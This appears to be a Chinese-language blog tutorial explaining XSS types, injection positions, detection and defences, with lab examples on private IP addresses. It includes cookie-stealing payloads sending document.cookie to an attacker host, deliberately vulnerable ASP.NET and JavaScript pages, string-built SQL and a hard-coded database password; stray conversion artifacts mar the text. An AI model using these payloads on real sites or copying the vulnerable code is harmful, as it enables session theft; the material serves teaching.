我說我不理解爲何別人作得出來我作不出來,好比這裏要說的XSS我以爲不少人就不瞭解其定義和原理的,在不瞭解定義和原理的背景下他們能夠拿站,這讓人怎麼理解呢。那時我最怕兩個問題,第一個是題目作得怎麼樣第二個是你能拿站嗎。好吧這兩個我都不行,從而個人滲透能力被認爲是孱弱的,我本身也認爲個人滲透能力是孱弱的。javascript
在我孱弱的滲透能力中,XSS是算我掌握得最好的,那是由於在入侵檢測課程中咱們小組被分配到了演示說明XSS的任務,不明真相加厚顏無恥的組員都把本身當大腿而後瀟灑去了。沒有別的選擇只能硬上。css
如今回頭看的話概念上確實算理解得比較好,但XSS的注入到的具體位置沒有細分和防護方法還沒涉及到。html
XSS,全稱Cross-Site Scripting因爲CSS已被層疊樣式表所用因此簡寫只能退而使用讀音相近的XSS,中文名跨站腳本攻擊。前端
跨站----跨越不一樣網站。好比www.baidu.com和www.qq.com。java
腳本----基本指JavaScript,固然要追究還有微軟的JScript等其餘一些web腳本語言web
跨站腳本----綜上,就是跨越不一樣網站的JavaScript腳本。數據庫
跨站腳本攻擊----使用跨越不一樣網站的JavaScript腳本進行的攻擊。不少人並無在乎「跨站」的意思,或者是注意了可是不能理解:寫個<script>alert(1)</script>怎麼和跨越不一樣網站的JavaScript扯上關係呢?結合CSRF的名稱和利用形式,推測XSS的跨站指的是其主要利用方式----使用JavaScript代碼將cookie傳到了其餘網站上,好比'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>,cookie被從本站傳到了www.attacker.com。後端
XSS造成的緣由是:系統將用戶輸入不加過濾(或有過濾但不足)地寫入到<html></html>標籤內。安全
「寫入到<html></html>標籤內」這幾個詞理解要注意如下幾個點:服務器
一是是寫入到<html></html>標籤內而不是其餘位置,若是寫入的是響應頭那會形成的是http頭部注入等問題而不會引起XSS。
二是隻要是寫入到<html></html>標籤內不管什麼位置基本都辦法實現XSS(固然可能寫入不一樣位置利用方式會有些差別咱們後邊會講到),因此咱們去看AWVS等工具其掃描原理基本都是若是在響應中看到本身提交的包含特殊字符的內容就會斷定爲存在XSS。
三是隻要「寫入到<html></html>標籤內」,並不限定是寫入當前請求的response的<html></html>,仍是後面其餘請求的response的<html></html>;若是寫入的是當前請求的response的<html></html>那就是反射型XSS,如寫入的是後面其餘請求的response的<html></html>那就是存儲型XSS。(另外也由於掃描器通常都是查看當前request的response是否有request的內容來判斷XSS因此掃描器通常只能掃反射型XSS不能掃存儲型XSS)
DOM XSS----用戶輸入沒有提交到服務器,只是被前端js接收並顯示所引發的XSS。
Reflected XSS----用戶輸入被提交到服務器,服務器將用戶輸入寫入本次請求的response的<html></html>內引發的XSS。
Stored XSS----用戶輸入被提交到服務器,服務器將用戶輸入寫入到非本次請求的response的<html></html>內引發的XSS。
咱們來講明如下兩個問題:
第一個是爲何要從Reflected XSS中分離出DOM XSS。就表現形式看DOM XSS和Reflected XSS都是反射(一個是前端js反射一個是後端服務器反射),因此最開始只有Reflected XSS。但後來人們發如今服務器端添加的轉義防禦代碼並不能處理DOM XSS,因此DOM XSS被分離了出來。
第二個是Reflected XSS和Stored XSS到底有什麼區別。我以爲Reflected XSS不存數據庫Stored XSS存數據庫、Reflected XSS影響一我的Stored XSS必定程度上會阻礙人們對XSS的檢測和理解。誰說Stored XSS必定存數據庫存xml不能夠嗎存會話變量不能夠嗎?誰說Stored XSS必定影響全部人若是隻是寫入用戶本身才能看到的頁面那怎麼影響全部人?因此咱們能夠認爲Reflected XSS和Stored XSS只有「本次請求的response」和「非本次請求的response」區別,其餘沒有區別。
XSS造成的緣由是:系統將用戶輸入不加過濾(或有過濾但不足)地寫入到<html></html>標籤內。而<html></html>標籤內有不一樣的成分,當寫入位置不一樣時攻擊方式和防禦方式都有些差異,咱們對其加以討論。
如下列表整理自德丸浩的《Web應用安全權威指南》(理論上<html></html>內的內容還有<style>的css)
寫入位置 | 位置示例 | 攻擊載荷 | 攻擊結果 | 說明 | 防禦 |
元素內容 | <div>寫入到這裏</div> | <script>alert(1)</script> | <div><script>alert(1)</script></div? | 常規攻擊 | 轉義<>& |
屬性值 | <input value="寫入到這裏" /> | " onmouseover="alert(1) | <input value="" onmouseover="alert(1)" /> | 給標籤插入新屬性 | 轉義<>&" |
屬性值(URL) | <a href="寫入到這裏"></a> | javascript:alert(1) | <a href="javascript:alert(1)"></a> | href和src雖然也是屬性但可多使用javascript協議 | 禁止外部網站url |
事件綁定函數 | <body onload="init('寫入到這裏')"></body> | ');alert(1)// | <body onload="init('');alert(1)//')"></body> | 函數執行完後會執行alert(1) | 轉義\'"和換行 |
<script></script>內 | <script>寫入到這裏</script> | </script><script>alert(1) | <script></script><script>alert(1)</script> | 閉合前邊的<script>標籤使在其中的過濾語句失效 | 轉義<> |
在上面咱們說到XSS造成的緣由是:系統將用戶輸入不加過濾(或有過濾但不足)地寫入到<html></html>標籤內。
因此檢測方法就是:
第一步,找出可讓用戶輸入並在本次請求的html代碼中(反射型)或隨便點擊看擊有沒有出如今其餘界面中(存儲型)回顯的位置;
第二步,在這些位置輸入<script>alert('1')</script>到回顯位置看有沒有彈框;
第三步,若是沒有彈框,那查看html代碼看是標籤沒配對好仍是有什麼服務端作了什麼過濾,看該怎麼配對好或繞過過濾。
如下示例中咱們假設:存在xss的網站部署在192.168.22.128,攻擊者用戶接收cookie的網站部署在192.168.22.129.
現有存在http://192.168.220.128/domxss.html頁面代碼以下,其本意是點擊顯示個人ID時從URL中讀取其ID並顯示:
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> <script> function c_show() { var userIDv = decodeURIComponent(document.URL); var pos = userIDv.indexOf("userID=") + 7; var userID = userIDv.substring(pos, document.URL.length); document.getElementById("div_id").innerHTML= userID; } </script> </head> <body> <div>這是測試基於DOM的XSS的domxss.html頁面</div> <br /> <input type="button" id="bt_showID" onclick="c_show()" value="顯示個人ID" /> <span id="div_id">你的ID是:</span> </body> </html>
攻擊者將如下連接經過(qq/郵箱/論壇等)發給用戶如下連接(URL加密後):
http://192.168.220.128/domxss.html?userID='<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>'
用戶看到連接點擊後,直接點擊「顯示個人ID」按鈕,其192.168.220.128網站的cookie即被髮送到192.168.220.129上。
現存在http://192.168.220.128/reflectxss.aspx頁面,內容以下:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="reflectxss.aspx.cs" Inherits="WebApplication1.reflectxss" ValidateRequest="false" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link rel="stylesheet" type="text/css" href="style.css"/> </head> <body> <div>這裏是測試反射型XSS的reflectxss.aspx頁面</div> <br /><br /> <form id="form1" runat="server" method="get"> <span>請輸入測試內容:</span> <input type="text" name="i_input" style="width:70%"/> <input type="submit" value="確認"/> <br /><br /> <asp:Label ID="Label1" runat="server" Text="你輸入的內容是: "></asp:Label> </form> </body> </html>
對應http://192.168.220.128/reflectxss.aspx.cs內容以下:
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; namespace WebApplication1 { public partial class reflectxss : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { if (IsPostBack) { Label1.Text = Request.QueryString["i_input"]; } } } }
其本意就是在頁面中回顯一下用戶輸入
而若是此時攻擊者將如下連接經過(qq/郵箱/論壇等)發給用戶如下連接(URL加密後):
http://192.168.220.128/reflectxss.aspx?__VIEWSTATE=/wEPDwUJMTc5MzM3ODgyDxYCHhNWYWxpZGF0ZVJlcXVlc3RNb2RlAgFkZE32U7BOunDRlUOFNbpK59/SbNaMfZu80qolEvzQ9JdP&__VIEWSTATEGENERATOR=F392050A&i_input=<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>
用戶看到連接並點擊訪問後,其192.168.220.128網站的cookie即被髮送到192.168.220.129上。
現存在http://192.168.220.128/storagexss.aspx頁面,內容以下:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="storagexss.aspx.cs" Inherits="WebApplication1.storagexss" ValidateRequest="false"%> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link rel="stylesheet" type="text/css" href="style.css"/> </head> <body> <form id="form1" runat="server"> <div>這裏是測試存儲型XSS的storagexss.aspx頁面</div> <br /> <div class="showcontent"> <div>留言內容:</div> <asp:Label ID="Lb_content" runat="server" style="width:90%"></asp:Label> </div> <div class="inputcontent"> <div >請輸入測試內容:</div> <asp:TextBox ID="t_content" runat="server" Width="99%" Height="370" TextMode="MultiLine"></asp:TextBox> <br /> <asp:Button ID="bt_sub" runat="server" Text="肯定" style="float:right" OnClick="bt_sub_Click"/> </div> </form> </body> </html>
對應http://192.168.220.128/storagexss.aspx.cs內容以下:
using System; using System.Collections.Generic; using System.Data.SqlClient; using System.Linq; using System.Threading; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; namespace WebApplication1 { public partial class storagexss : System.Web.UI.Page { // 此函數用於載入頁面時從數據庫讀取全部留言 protected void Page_Load(object sender, EventArgs e) { SqlConnection conn1 = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor"); conn1.Open(); SqlCommand cmd1 = new SqlCommand("select * from t_content",conn1); SqlDataReader result = cmd1.ExecuteReader(); if(result.Read()) { Lb_content.Text =(String)result["t_content"]; } conn1.Close(); } // 此函數用於留言者發表留言時將留言存入數據庫 protected void bt_sub_Click(object sender, EventArgs e) { SqlConnection conn = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor"); conn.Open(); SqlCommand cmd = new SqlCommand("update t_content set t_content='" + t_content.Text + "'", conn); cmd.ExecuteNonQuery(); conn.Close(); Page.Response.Write("<script>alert('留言發表成功!');</script>"); } } }
該頁面就是輸出全部用戶留言和保存用戶留言
此時攻攻者先留言<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>
用戶再訪問該頁面時其cookie就會被髮送到192.168.220.129上
XSS主要是用來獲取cookie的並且方式都是‘http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>這類型式,只要將cookie設置爲httponly這種辦法就不能成功。
但一是由於仍是能夠彈框因此老闆或客戶可能對httponly並不放心二是XSS本質是注入script代碼script能作的事理論上他都能作(好比蠕蟲)因此統一對<>&'"進行html實體轉義也應採起。
參考:
德丸浩-《Web應用安全權威指南》